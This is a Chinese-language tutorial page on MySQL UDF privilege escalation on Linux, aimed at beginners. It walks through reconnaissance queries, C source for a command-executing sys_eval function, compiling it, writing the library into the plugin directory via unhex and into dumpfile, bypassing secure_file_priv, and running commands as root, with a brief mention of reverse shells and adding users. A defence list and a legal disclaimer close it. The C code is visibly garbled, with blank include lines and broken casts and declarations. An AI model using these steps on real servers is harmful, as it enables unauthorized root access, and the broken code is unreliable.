当前位置:首页 > 系统教程 > 正文

MySQL UDF提权实战指南(Linux系统权限提升全解析)

MySQL UDF提权实战指南(Linux系统权限提升全解析)

关键词: MySQL UDF提权, Linux提权, 数据库漏洞利用, udf提权步骤

在渗透测试中,MySQL UDF提权是一种经典的权限提升方法,尤其适用于Linux系统。UDF(User Defined Function)允许用户自定义函数,如果MySQL以root权限运行且可写入插件目录,攻击者可通过创建执行系统命令的函数获取服务器root权限。本文详细讲解udf提权步骤,帮助小白理解这一数据库漏洞利用技术。

1. UDF提权原理

UDF是MySQL的扩展接口,允许用户添加自定义函数。当MySQL服务以root启动时,自定义函数可以调用系统命令,从而实现Linux提权。关键在于能否将编译好的共享库(.so文件)上传到MySQL插件目录并创建函数。

2. 环境准备

假设目标Linux服务器,MySQL版本5.1以上(支持UDF)。需要具备以下条件:

  • MySQL账户拥有FILE和INSERT权限(通常root用户具备)。
  • 知道MySQL插件目录路径(可通过 show variables like "%plugin%"; 查询)。
  • MySQL进程以root运行(检查 ps aux | grep mysql)。
  • 目标系统允许上传文件(如通过SQL语句或其它方式)。

3. 详细提权步骤

3.1 检查当前状态

登录MySQL,执行以下命令收集信息:

    select version();show variables like "%plugin%";show grants;  

确认插件目录可写,且用户有FILE权限。

3.2 编译UDF共享库

我们需要一个执行系统命令的UDF。这里提供一个简单的C代码(udf.c):

    #include #include char* sys_eval(const char* cmd) {    char* output = (char)malloc(128);    FILE fp = popen(cmd, "r");    if (!fp) return "Error";    fgets(output, 128, fp);    pclose(fp);    return output;}  

在Linux上编译:gcc -shared -fPIC -o udf.so udf.c。如果无编译环境,可寻找预编译的udf提权利用文件,但需注意架构匹配。

MySQL UDF提权实战指南(Linux系统权限提升全解析) UDF提权  Linux提权 数据库漏洞利用 udf提权步骤 第1张

3.3 上传.so文件到插件目录

将编译好的udf.so上传到目标服务器的MySQL插件目录。有多种方法:

  • 通过MySQL的dumpfileload_file写入:先将文件转为十六进制,然后用select unhex("...") into dumpfile "/path/plugin/udf.so";
  • 如果目标系统有写权限,可通过Web上传、FTP等方式直接放置。

注意绕过secure_file_priv限制,如果设置为NULL或指定目录,需调整。

3.4 创建自定义函数

在MySQL中执行:

    CREATE FUNCTION sys_eval RETURNS STRING SONAME "udf.so";  

如果成功,则函数创建完成。

3.5 执行系统命令

调用函数执行命令:

    SELECT sys_eval("id");  

返回uid=0(root) 则表示提权成功!接下来可以反弹shell或添加用户。

4. 注意事项与防御

MySQL UDF提权成功的前提是MySQL以root运行且插件目录可写。防御措施:

  • 不要以root运行MySQL,使用专用账户。
  • 严格限制插件目录权限,只允许mysql用户读取,禁止写入。
  • 移除不必要的UDF函数,定期检查 mysql.func 表。
  • 启用 secure_file_priv 限制文件导入导出。

理解这一数据库漏洞利用过程,有助于更好地加固系统。

总结:通过本文的udf提权步骤,小白也能掌握Linux提权中的经典手法。实际操作中请遵守法律法规,仅在授权环境下测试。